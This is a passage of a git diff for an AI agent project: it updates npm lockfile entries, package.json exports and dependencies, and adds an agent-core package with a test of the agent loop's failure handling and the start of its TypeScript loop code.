"url": "https://github.com/sponsors/nodable" - } - ], - "license": "MIT" - }, "node_modules/@openclaw/fs-safe": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/@openclaw/fs-safe/-/fs-safe-0.3.0.tgz", @@ -1408,126 +1181,6 @@ "integrity": "sha512-bnly4BKB3KDTFxrUIcgCLbaeVVS8lrAkri1pEzskpmxu9MdfGQTy8b8EgcD83ywD3RPMsIulY8xJH5Awa+t9fA==", "license": "Apache-2.0" }, - "node_modules/@smithy/core": { - "version": "3.24.4", - "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.24.4.tgz", - "integrity": "sha512-3UNRKEyQyAgVgM0LGlerCLm+ChZWZ1GPfde+jBEW6bm6bSBGU1p0EbblaUV3unbhwvidjLA5Zs3sOs7mnZwvAw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/crc32": "5.2.0", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/credential-provider-imds": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.3.4.tgz", - "integrity": "sha512-vKW0MEFRU4Y3MkVZUkpJm+g9qyPGLCXhc0YLggUdSdBB4g7IaSSsCE75P9rBXyWHrXY1UYSQUl8/DwsTR7QciA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/fetch-http-handler": { - "version": "5.4.4", - "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.4.4.tgz", - "integrity": "sha512-qM7AUKI4G6d7lNgaZD3lA1tWSolh5r6gcixfTZAPstVURfjIbvreVTPz+994M0yC3HbX4YYhDRgr31Xy3XwWOQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/is-array-buffer": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", - "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@smithy/node-http-handler": { - "version": "4.7.4", - "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.4.tgz", - "integrity": "sha512-HIeF+1vrDGzPkkv39Hj2vlHSXHY3p958jd/8ZnePIY6+ZOsQX8coyEUKO5yQu4r0bQIVsbpotVIrXXwyycMStQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/signature-v4": { - "version": "5.4.4", - "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.4.4.tgz", - "integrity": "sha512-e5UtkMvsatzBfbeBZjEOt0k0Z3BEsjTFL/n6fdO5vtBLe67tdy0dX7xw2DU7uZ3acwoHyeCqpU2Fzb7pxwHb6Q==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/types": { - "version": "4.14.2", - "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.14.2.tgz", - "integrity": "sha512-P+otAxbV4CqBybp7EkcJCrig63yE2E7PuNVOmilVMRcx/O+QDzGULTrKsq4DV13gSfak9ObPrWaHl/9bL5YcWw==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-buffer-from": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", - "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/is-array-buffer": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@smithy/util-utf8": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", - "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/util-buffer-from": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, "node_modules/@stablelib/base64": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", @@ -1752,12 +1405,6 @@ "integrity": "sha512-VHiNCbI1lKdl44tGrhNfU3lup0Tj/ZBMJB5/2ZbNXRCPuRCO7ed2mgcK4r17y+KB2EfuYuRaVlwNbAeaWGSpbw==", "license": "MIT" }, - "node_modules/bowser": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", - "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", - "license": "MIT" - }, "node_modules/brace-expansion": { "version": "5.0.6", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.6.tgz", @@ -2080,6 +1727,16 @@ "node": ">= 0.8" } }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=8" + } + }, "node_modules/diff": { "version": "8.0.4", "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.4.tgz", @@ -2421,43 +2078,6 @@ "fast-string-width": "^3.0.2" } }, - "node_modules/fast-xml-builder": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.2.0.tgz", - "integrity": "sha512-00aAWieqff+ZJhsXA4g1g7M8k+7AYoMUUHF+/zFb5U6Uv/P0Vl4QZo84/IcufzYalLuEj9928bXN9PbbFzMF0Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "path-expression-matcher": "^1.5.0", - "xml-naming": "^0.1.0" - } - }, - "node_modules/fast-xml-parser": { - "version": "5.7.0", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.7.0.tgz", - "integrity": "sha512-MTcrUoRQ1GSQ9iG3QJzBGquYYYeA7piZaJoIWbPFGbRn6Jj6z7xgoAyi4DrZX4y2ZIQQBF59gc/zmvvejjgoFQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "@nodable/entities": "^2.1.0", - "fast-xml-builder": "^1.1.5", - "path-expression-matcher": "^1.5.0", - "strnum": "^2.2.3" - }, - "bin": { - "fxparser": "src/cli/cli.js" - } - }, "node_modules/fetch-blob": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", @@ -3549,21 +3169,6 @@ "node": ">=8" } }, - "node_modules/path-expression-matcher": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz", - "integrity": "sha512-cbrerZV+6rvdQrrD+iGMcZFEiiSrbv9Tfdkvnusy6y0x0GKBXREFg/Y65GhIfm0tnLntThhzCnfKwp1WRjeCyQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, "node_modules/path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", @@ -3960,6 +3565,19 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", "license": "MIT" }, + "node_modules/semver": { + "version": "7.8.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.0.tgz", + "integrity": "sha512-AcM7dV/5ul4EekoQ29Agm5vri8JNqRyj39o0qpX6vDF2GZrtutZl5RwgD1XnZjiTAfncsJhMI48QQH3sN87YNA==", + "license": "ISC", + "optional": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, "node_modules/send": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", @@ -4023,6 +3641,51 @@ "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", "license": "ISC" }, + "node_modules/sharp": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.34.5.tgz", + "integrity": "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==", + "hasInstallScript": true, + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@img/colour": "^1.0.0", + "detect-libc": "^2.1.2", + "semver": "^7.7.3" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-darwin-arm64": "0.34.5", + "@img/sharp-darwin-x64": "0.34.5", + "@img/sharp-libvips-darwin-arm64": "1.2.4", + "@img/sharp-libvips-darwin-x64": "1.2.4", + "@img/sharp-libvips-linux-arm": "1.2.4", + "@img/sharp-libvips-linux-arm64": "1.2.4", + "@img/sharp-libvips-linux-ppc64": "1.2.4", + "@img/sharp-libvips-linux-riscv64": "1.2.4", + "@img/sharp-libvips-linux-s390x": "1.2.4", + "@img/sharp-libvips-linux-x64": "1.2.4", + "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", + "@img/sharp-libvips-linuxmusl-x64": "1.2.4", + "@img/sharp-linux-arm": "0.34.5", + "@img/sharp-linux-arm64": "0.34.5", + "@img/sharp-linux-ppc64": "0.34.5", + "@img/sharp-linux-riscv64": "0.34.5", + "@img/sharp-linux-s390x": "0.34.5", + "@img/sharp-linux-x64": "0.34.5", + "@img/sharp-linuxmusl-arm64": "0.34.5", + "@img/sharp-linuxmusl-x64": "0.34.5", + "@img/sharp-wasm32": "0.34.5", + "@img/sharp-win32-arm64": "0.34.5", + "@img/sharp-win32-ia32": "0.34.5", + "@img/sharp-win32-x64": "0.34.5" + } + }, "node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", @@ -4286,18 +3949,6 @@ "node": ">=8" } }, - "node_modules/strnum": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.3.0.tgz", - "integrity": "sha512-ums3KNd42PGyx5xaoVTO1mjU1bH3NpY4vsrVlnv9PNGqQj8wd7rJ6nEypLrJ7z5vxK5RP0yMLo6J/Gsm62DI5Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT" - }, "node_modules/strtok3": { "version": "10.3.5", "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.5.tgz", @@ -4644,21 +4295,6 @@ } } }, - "node_modules/xml-naming": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz", - "integrity": "sha512-k8KO9hrMyNk6tUWqUfkTEZbezRRpONVOzUTnc97VnCvyj6Tf9lyUR9EDAIeiVLv56jsMcoXEwjW8Kv5yPY52lw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "engines": { - "node": ">=16.0.0" - } - }, "node_modules/y18n": { "version": "5.0.8", "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", diff --git a/package.json b/package.json index 32474ccf085..5bfe8839320 100644 --- a/package.json +++ b/package.json @@ -27,6 +27,7 @@ "openclaw.mjs", "pnpm-workspace.yaml", "README.md", + "THIRD_PARTY_NOTICES.md", "dist/", "!dist/.buildstamp", "!dist/.runtime-postbuildstamp", @@ -295,6 +296,10 @@ "types": "./dist/plugin-sdk/json-schema-runtime.d.ts", "default": "./dist/plugin-sdk/json-schema-runtime.js" }, + "./plugin-sdk/json-unsafe-integers": { + "types": "./dist/plugin-sdk/json-unsafe-integers.d.ts", + "default": "./dist/plugin-sdk/json-unsafe-integers.js" + }, "./plugin-sdk/reply-runtime": { "types": "./dist/plugin-sdk/reply-runtime.d.ts", "default": "./dist/plugin-sdk/reply-runtime.js" @@ -1351,6 +1356,18 @@ "types": "./dist/plugin-sdk/zod.d.ts", "default": "./dist/plugin-sdk/zod.js" }, + "./plugin-sdk/agent-core": { + "types": "./dist/plugin-sdk/agent-core.d.ts", + "default": "./dist/plugin-sdk/agent-core.js" + }, + "./plugin-sdk/agent-sessions": { + "types": "./dist/plugin-sdk/agent-sessions.d.ts", + "default": "./dist/plugin-sdk/agent-sessions.js" + }, + "./plugin-sdk/llm": { + "types": "./dist/plugin-sdk/llm.d.ts", + "default": "./dist/plugin-sdk/llm.js" + }, "./extension-api": "./dist/extensionAPI.js", "./cli-entry": "./openclaw.mjs" }, @@ -1609,6 +1626,7 @@ "test:contracts:plugins": "node scripts/run-vitest.mjs run --config test/vitest/vitest.contracts-plugin.config.ts --maxWorkers=1", "test:coverage": "node scripts/run-vitest.mjs run --config test/vitest/vitest.unit.config.ts --coverage", "test:coverage:changed": "node scripts/run-vitest.mjs run --config test/vitest/vitest.unit.config.ts --coverage --changed origin/main", + "test:docker:agent-bundle-mcp-tools": "bash scripts/e2e/agent-bundle-mcp-tools-docker.sh", "test:docker:agents-delete-shared-workspace": "bash scripts/e2e/agents-delete-shared-workspace-docker.sh", "test:docker:all": "node scripts/test-docker-all.mjs", "test:docker:browser-cdp-snapshot": "bash scripts/e2e/browser-cdp-snapshot-docker.sh", @@ -1672,7 +1690,6 @@ "test:docker:openai-image-auth": "bash scripts/e2e/openai-image-auth-docker.sh", "test:docker:openai-web-search-minimal": "bash scripts/e2e/openai-web-search-minimal-docker.sh", "test:docker:openwebui": "bash scripts/e2e/openwebui-docker.sh", - "test:docker:pi-bundle-mcp-tools": "bash scripts/e2e/pi-bundle-mcp-tools-docker.sh", "test:docker:plugin-binding-command-escape": "bash scripts/e2e/plugin-binding-command-escape-docker.sh", "test:docker:plugin-lifecycle-matrix": "bash scripts/e2e/plugin-lifecycle-matrix-docker.sh", "test:docker:plugin-update": "bash scripts/e2e/plugin-update-unchanged-docker.sh", @@ -1792,29 +1809,37 @@ }, "dependencies": { "@agentclientprotocol/sdk": "0.22.1", + "@anthropic-ai/sdk": "0.98.0", "@clack/core": "1.3.1", "@clack/prompts": "1.4.0", - "@earendil-works/pi-agent-core": "0.75.5", - "@earendil-works/pi-ai": "0.75.5", - "@earendil-works/pi-coding-agent": "0.75.5", "@earendil-works/pi-tui": "0.75.5", "@google/genai": "2.6.0", "@grammyjs/runner": "2.0.3", "@grammyjs/transformer-throttler": "1.2.1", "@homebridge/ciao": "1.3.8", "@lydell/node-pty": "1.2.0-beta.12", + "@mistralai/mistralai": "2.2.1", "@modelcontextprotocol/sdk": "1.29.0", "@mozilla/readability": "0.6.0", "@openclaw/fs-safe": "0.3.0", "@openclaw/proxyline": "0.3.3", + "@silvia-odwyer/photon-node": "0.3.4", "chalk": "5.6.2", "chokidar": "5.0.0", "commander": "14.0.3", "croner": "10.0.1", + "cross-spawn": "7.0.6", + "diff": "8.0.4", "dotenv": "17.4.2", "express": "5.2.1", "file-type": "22.0.1", + "glob": "13.0.6", "grammy": "1.43.0", + "highlight.js": "10.7.3", + "hosted-git-info": "9.0.3", + "http-proxy-agent": "7.0.2", + "https-proxy-agent": "7.0.6", + "ignore": "7.0.5", "ipaddr.js": "2.4.0", "jiti": "2.7.0", "json5": "2.2.3", @@ -1822,10 +1847,13 @@ "kysely": "0.29.2", "linkedom": "0.18.12", "markdown-it": "14.1.1", + "minimatch": "10.2.5", "node-edge-tts": "1.2.10", "openai": "6.39.0", + "partial-json": "0.1.7", "pdfjs-dist": "5.7.284", "playwright-core": "1.60.0", + "proper-lockfile": "4.1.2", "qrcode": "1.5.4", "quickjs-wasi": "2.2.0", "rastermill": "0.3.0", @@ -1852,9 +1880,12 @@ "@shikijs/core": "3.23.0", "@shikijs/engine-javascript": "3.23.0", "@shikijs/engine-oniguruma": "3.23.0", + "@types/cross-spawn": "6.0.6", "@types/express": "5.0.6", + "@types/hosted-git-info": "3.0.5", "@types/markdown-it": "14.1.2", "@types/node": "25.9.1", + "@types/proper-lockfile": "4.1.4", "@types/ws": "8.18.1", "@typescript/native-preview": "7.0.0-dev.20260524.1", "@vitest/coverage-v8": "4.1.7", @@ -1873,6 +1904,7 @@ "vitest": "4.1.7" }, "optionalDependencies": { + "sharp": "0.34.5", "sqlite-vec": "0.1.9" }, "overrides": { diff --git a/packages/agent-core/package.json b/packages/agent-core/package.json new file mode 100644 index 00000000000..eca832dba89 --- /dev/null +++ b/packages/agent-core/package.json @@ -0,0 +1,122 @@ +{ + "name": "@openclaw/agent-core", + "version": "0.0.0-private", + "private": true, + "files": [ + "dist" + ], + "type": "module", + "main": "./dist/index.js", + "types": "./dist/index.d.ts", + "exports": { + ".": { + "types": "./dist/index.d.ts", + "default": "./dist/index.js" + }, + "./agent": { + "types": "./dist/agent.d.ts", + "default": "./dist/agent.js" + }, + "./agent-loop": { + "types": "./dist/agent-loop.d.ts", + "default": "./dist/agent-loop.js" + }, + "./llm": { + "types": "./dist/llm.d.ts", + "default": "./dist/llm.js" + }, + "./node": { + "types": "./dist/node.d.ts", + "default": "./dist/node.js" + }, + "./runtime-deps": { + "types": "./dist/runtime-deps.d.ts", + "default": "./dist/runtime-deps.js" + }, + "./validation": { + "types": "./dist/validation.d.ts", + "default": "./dist/validation.js" + }, + "./types": { + "types": "./dist/types.d.ts", + "default": "./dist/types.js" + }, + "./harness/agent-harness": { + "types": "./dist/harness/agent-harness.d.ts", + "default": "./dist/harness/agent-harness.js" + }, + "./harness/types": { + "types": "./dist/harness/types.d.ts", + "default": "./dist/harness/types.js" + }, + "./harness/messages": { + "types": "./dist/harness/messages.d.ts", + "default": "./dist/harness/messages.js" + }, + "./harness/env/kill-tree": { + "types": "./dist/harness/env/kill-tree.d.ts", + "default": "./dist/harness/env/kill-tree.js" + }, + "./harness/session": { + "types": "./dist/harness/session.d.ts", + "default": "./dist/harness/session.js" + }, + "./harness/session/jsonl-repo": { + "types": "./dist/harness/session/jsonl-repo.d.ts", + "default": "./dist/harness/session/jsonl-repo.js" + }, + "./harness/session/jsonl-storage": { + "types": "./dist/harness/session/jsonl-storage.d.ts", + "default": "./dist/harness/session/jsonl-storage.js" + }, + "./harness/session/memory-repo": { + "types": "./dist/harness/session/memory-repo.d.ts", + "default": "./dist/harness/session/memory-repo.js" + }, + "./harness/session/memory-storage": { + "types": "./dist/harness/session/memory-storage.d.ts", + "default": "./dist/harness/session/memory-storage.js" + }, + "./harness/session/repo-utils": { + "types": "./dist/harness/session/repo-utils.d.ts", + "default": "./dist/harness/session/repo-utils.js" + }, + "./harness/session/uuid": { + "types": "./dist/harness/session/uuid.d.ts", + "default": "./dist/harness/session/uuid.js" + }, + "./harness/compaction": { + "types": "./dist/harness/compaction.d.ts", + "default": "./dist/harness/compaction.js" + }, + "./harness/branch-summarization": { + "types": "./dist/harness/branch-summarization.d.ts", + "default": "./dist/harness/branch-summarization.js" + }, + "./harness/prompt-templates": { + "types": "./dist/harness/prompt-templates.d.ts", + "default": "./dist/harness/prompt-templates.js" + }, + "./harness/skills": { + "types": "./dist/harness/skills.d.ts", + "default": "./dist/harness/skills.js" + }, + "./harness/system-prompt": { + "types": "./dist/harness/system-prompt.d.ts", + "default": "./dist/harness/system-prompt.js" + }, + "./harness/utils/shell-output": { + "types": "./dist/harness/utils/shell-output.d.ts", + "default": "./dist/harness/utils/shell-output.js" + }, + "./harness/utils/truncate": { + "types": "./dist/harness/utils/truncate.d.ts", + "default": "./dist/harness/utils/truncate.js" + } + }, + "dependencies": { + "ignore": "7.0.5", + "typebox": "1.1.38", + "yaml": "2.9.0" + } +} diff --git a/packages/agent-core/src/agent-loop.test.ts b/packages/agent-core/src/agent-loop.test.ts new file mode 100644 index 00000000000..40cde4d624c --- /dev/null +++ b/packages/agent-core/src/agent-loop.test.ts @@ -0,0 +1,74 @@ +import { describe, expect, it } from "vitest"; +import { agentLoop, agentLoopContinue } from "./agent-loop.js"; +import type { Message, Model } from "./llm.js"; +import type { AgentContext, AgentEvent, AgentLoopConfig, AgentMessage, StreamFn } from "./types.js"; + +const model: Model = { + id: "test-model", + name: "Test Model", + api: "test-api", + provider: "test-provider", + baseUrl: "https://example.test", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 1000, + maxTokens: 1000, +}; + +const config: AgentLoopConfig = { + model, + convertToLlm: (messages) => messages as Message[], +}; + +const failingStreamFn: StreamFn = async () => { + throw new Error("provider exploded"); +}; + +async function collectEvents(stream: AsyncIterable): Promise { + const events: AgentEvent[] = []; + for await (const event of stream) { + events.push(event); + } + return events; +} + +function expectTerminalFailure(events: AgentEvent[], result: AgentMessage[]): void { + expect(events.map((event) => event.type)).toContain("agent_end"); + expect(result).toHaveLength(1); + expect(result[0]).toMatchObject({ + role: "assistant", + stopReason: "error", + errorMessage: "provider exploded", + }); +} + +describe("agentLoop EventStream failures", () => { + it("ends the public stream when a new prompt run rejects", async () => { + const stream = agentLoop( + [{ role: "user", content: "hello", timestamp: 1 }], + { systemPrompt: "", messages: [] }, + config, + undefined, + failingStreamFn, + ); + + const events = await collectEvents(stream); + const result = await stream.result(); + + expectTerminalFailure(events, result); + }); + + it("ends the public stream when a continue run rejects", async () => { + const context: AgentContext = { + systemPrompt: "", + messages: [{ role: "user", content: "hello", timestamp: 1 }], + }; + const stream = agentLoopContinue(context, config, undefined, failingStreamFn); + + const events = await collectEvents(stream); + const result = await stream.result(); + + expectTerminalFailure(events, result); + }); +}); diff --git a/packages/agent-core/src/agent-loop.ts b/packages/agent-core/src/agent-loop.ts new file mode 100644 index 00000000000..c4fe1803ba5 --- /dev/null +++ b/packages/agent-core/src/agent-loop.ts @@ -0,0 +1,839 @@ +/** + * Agent loop that works with AgentMessage throughout. + * Transforms to Message[] only at the LLM call boundary. + */ + +import { type AssistantMessage, type Context, EventStream, type ToolResultMessage } from "./llm.js"; +import { type AgentCoreStreamRuntimeDeps, resolveAgentCoreStreamFn } from "./runtime-deps.js"; +import type { + AgentContext, + AgentEvent, + AgentLoopConfig, + AgentMessage, + AgentTool, + AgentToolCall, + AgentToolResult, + StreamFn, +} from "./types.js"; +import { validateToolArguments } from "./validation.js"; + +export type AgentEventSink = (event: AgentEvent) => Promise | void; + +const EMPTY_USAGE = { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, +}; + +/** + * Start an agent loop with a new prompt message. + * The prompt is added to the context and events are emitted for it. + */ +export function agentLoop( + prompts: AgentMessage[], + context: AgentContext, + config: AgentLoopConfig, + signal?: AbortSignal, + streamFn?: StreamFn, + runtime?: AgentCoreStreamRuntimeDeps, +): EventStream { + const stream = createAgentStream(); + + void runAgentLoop( + prompts, + context, + config, + async (event) => { + stream.push(event); + }, + signal, + streamFn, + runtime, + ).then((messages) => { + stream.end(messages); + }).catch((error) => { + pushLoopFailure(stream, config, error, signal?.aborted === true); + }); + + return stream; +} + +/** + * Continue an agent loop from the current context without adding a new message. + * Used for retries - context already has user message or tool results. + * + * **Important:** The last message in context must convert to a `user` or `toolResult` message + * via `convertToLlm`. If it doesn't, the LLM provider will reject the request. + * This cannot be validated here since `convertToLlm` is only called once per turn. + */ +export function agentLoopContinue( + context: AgentContext, + config: AgentLoopConfig, + signal?: AbortSignal, + streamFn?: StreamFn, + runtime?: AgentCoreStreamRuntimeDeps, +): EventStream { + if (context.messages.length === 0) { + throw new Error("Cannot continue: no messages in context"); + } + + if (context.messages[context.messages.length - 1].role === "assistant") { + throw new Error("Cannot continue from message role: assistant"); + } + + const stream = createAgentStream(); + + void runAgentLoopContinue( + context, + config, + async (event) => { + stream.push(event); + }, + signal, + streamFn, + runtime, + ).then((messages) => { + stream.end(messages); + }).catch((error) => { + pushLoopFailure(stream, config, error, signal?.aborted === true); + }); + + return stream; +} + +export async function runAgentLoop( + prompts: AgentMessage[], + context: AgentContext, + config: AgentLoopConfig, + emit: AgentEventSink, + signal?: AbortSignal, + streamFn?: StreamFn, + runtime?: AgentCoreStreamRuntimeDeps, +): Promise { + const newMessages: AgentMessage[] = [...prompts]; + const currentContext: AgentContext = { + ...context, + messages: [...context.messages, ...prompts], + }; + + await emit({ type: "agent_start" }); + await emit({ type: "turn_start" }); + for (const prompt of prompts) { + await emit({ type: "message_start", message: prompt }); + await emit({ type: "message_end", message: prompt }); + } + + await runLoop(currentContext, newMessages, config, signal, emit, streamFn, runtime); + return newMessages; +} + +export async function runAgentLoopContinue( + context: AgentContext, + config: AgentLoopConfig, + emit: AgentEventSink, + signal?: AbortSignal, + streamFn?: StreamFn, + runtime?: AgentCoreStreamRuntimeDeps, +): Promise { + if (context.messages.length === 0) { + throw new Error("Cannot continue: no messages in context"); + } + + if (context.messages[context.messages.length - 1].role === "assistant") { + throw new Error("Cannot continue from message role: assistant"); + } + + const newMessages: AgentMessage[] = []; + const currentContext: AgentContext = { ...context }; + + await emit({ type: "agent_start" }); + await emit({ type: "turn_start" }); + + await runLoop(currentContext, newMessages, config, signal, emit, streamFn, runtime); + return newMessages; +} + +function createAgentStream(): EventStream { + return new EventStream( + (event: AgentEvent) => event.type === "agent_end", + (event: AgentEvent) => (event.type === "agent_end" ? event.messages : []), + ); +} + +function createLoopFailureMessage( + config: AgentLoopConfig, + error: unknown, + aborted: boolean, +): AssistantMessage { + return { + role: "assistant", + content: [{ type: "text", text: "" }], + api: config.model.api, + provider: config.model.provider, + model: config.model.id, + usage: EMPTY_USAGE, + stopReason: aborted ? "aborted" : "error", + errorMessage: error instanceof Error ? error.message : String(error), + timestamp: Date.now(), + }; +} + +function pushLoopFailure( + stream: EventStream, + config: AgentLoopConfig, + error: unknown, + aborted: boolean, +): void { + const failureMessage = createLoopFailureMessage(config, error, aborted); + stream.push({ type: "message_start", message: failureMessage }); + stream.push({ type: "message_end", message: failureMessage }); + stream.push({ type: "turn_end", message: failureMessage, toolResults: [] }); + stream.push({ type: "agent_end", messages: [failureMessage] }); +} + +/** + * Main loop logic shared by agentLoop and agentLoopContinue. + */ +async function runLoop( + initialContext: AgentContext, + newMessages: AgentMessage[], + initialConfig: AgentLoopConfig, + signal: AbortSignal | undefined, + emit: AgentEventSink, + streamFn?: StreamFn, + runtime?: AgentCoreStreamRuntimeDeps, +): Promise { + let currentContext = initialContext; + let config = initialConfig; + let firstTurn = true; + // Check for steering messages at start (user may have typed while waiting) + let pendingMessages: AgentMessage[] = (await config.getSteeringMessages?.()) || []; + + // Outer loop: continues when queued follow-up messages arrive after agent would stop + while (true) { + let hasMoreToolCalls = true; + + // Inner loop: process tool calls and steering messages + while (hasMoreToolCalls || pendingMessages.length > 0) { + if (!firstTurn) { + await emit({ type: "turn_start" }); + } else { + firstTurn = false; + } + + // Process pending messages (inject before next assistant response) + if (pendingMessages.length > 0) { + for (const message of pendingMessages) { + await emit({ type: "message_start", message }); + await emit({ type: "message_end", message }); + currentContext.messages.push(message); + newMessages.push(message); + } + pendingMessages = []; + } + + // Stream assistant response + const message = await streamAssistantResponse( + currentContext, + config, + signal, + emit, + streamFn, + runtime, + ); + newMessages.push(message); + + if (message.stopReason === "error" || message.stopReason === "aborted") { + await emit({ type: "turn_end", message, toolResults: [] }); + await emit({ type: "agent_end", messages: newMessages }); + return; + } + + // Check for tool calls + const toolCalls = message.content.filter((c) => c.type === "toolCall"); + + const toolResults: ToolResultMessage[] = []; + hasMoreToolCalls = false; + if (toolCalls.length > 0) { + const executedToolBatch = await executeToolCalls( + currentContext, + message, + config, + signal, + emit, + ); + toolResults.push(...executedToolBatch.messages); + hasMoreToolCalls = !executedToolBatch.terminate; + + for (const result of toolResults) { + currentContext.messages.push(result); + newMessages.push(result); + } + } + + await emit({ type: "turn_end", message, toolResults }); + + const nextTurnContext = { + message, + toolResults, + context: currentContext, + newMessages, + }; + const nextTurnSnapshot = await config.prepareNextTurn?.(nextTurnContext); + if (nextTurnSnapshot) { + currentContext = nextTurnSnapshot.context ?? currentContext; + config = Object.assign({}, config, { + model: 